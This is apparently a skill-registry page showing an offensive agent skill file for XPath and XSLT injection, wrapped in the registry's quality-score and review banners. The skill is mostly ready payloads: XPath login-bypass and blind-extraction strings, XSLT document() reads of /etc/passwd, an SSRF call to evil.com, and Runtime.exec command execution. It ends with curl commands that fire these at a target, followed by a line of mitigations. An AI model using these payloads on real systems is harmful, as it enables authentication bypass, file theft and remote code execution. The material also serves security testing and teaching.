XPath + XSLT injection — query manipulation in XML data stores, server-side XSLT RCE via document() / EXSLT extensions.
60
70%
Does it follow best practices?
Run evals on this skill
Adds up to 20 points to the overall score
View guide
Critical
Do not install without reviewing
Fix and improve this skill with Tessl
tessl review fix ./packages/decepticon/decepticon/skills/standard/exploit/web/xpath-xslt/SKILL.mdXPath = XML query language. User input concatenated into a query string = injection. Same shape as SQL injection but on XML data.
# Vulnerable
query = f"//user[username='{user}' and password='{pw}']"
# Payload
user = "' or '1'='1" → //user[username='' or '1'='1' and password='']
user = "admin'] | //user[*='" → returns all users# Boolean
//user[username='admin' and substring(password, 1, 1)='a']
# Time-based — XPath has no sleep, but some impls support extensionsWorse than XPath: XSLT is Turing-complete and many engines support file I/O and RCE.
<xsl:value-of select="document('file:///etc/passwd')"/>
<xsl:value-of select="document('http://evil.com/x')"/> ← SSRF<!-- Saxon -->
<xsl:value-of select="saxon:evaluate('1+1')"/>
<!-- libxslt w/ Xalan-Java extension -->
<xsl:value-of select='rt:exec(rt:getRuntime(), "id")'/><xsl:value-of select="//input" disable-output-escaping="yes"/>
<!-- attacker-controlled XML → unescaped output → XSS --># XPath
curl -X POST "$TARGET/login" -d "user=' or '1'='1&pass=anything"
# XSLT file read
curl -X POST "$TARGET/transform" --data-binary @- <<'EOF'
<?xml version="1.0"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<xsl:value-of select="document('file:///etc/passwd')"/>
</xsl:template>
</xsl:stylesheet>
EOFlxml.etree.XPath(expr) w/ variable bindings)XSLT_SECPREFS_NO_NETWORK | XSLT_SECPREFS_NO_FILE (libxslt)skills/_corpus/payloads/XPATH Injection/ + XSLT Injection/skills/exploit/web/xxe.md0cf691e
If you maintain this skill, you can claim it as your own. Once claimed, you can manage eval scenarios, bundle related skills, attach documentation or rules, and ensure cross-agent compatibility.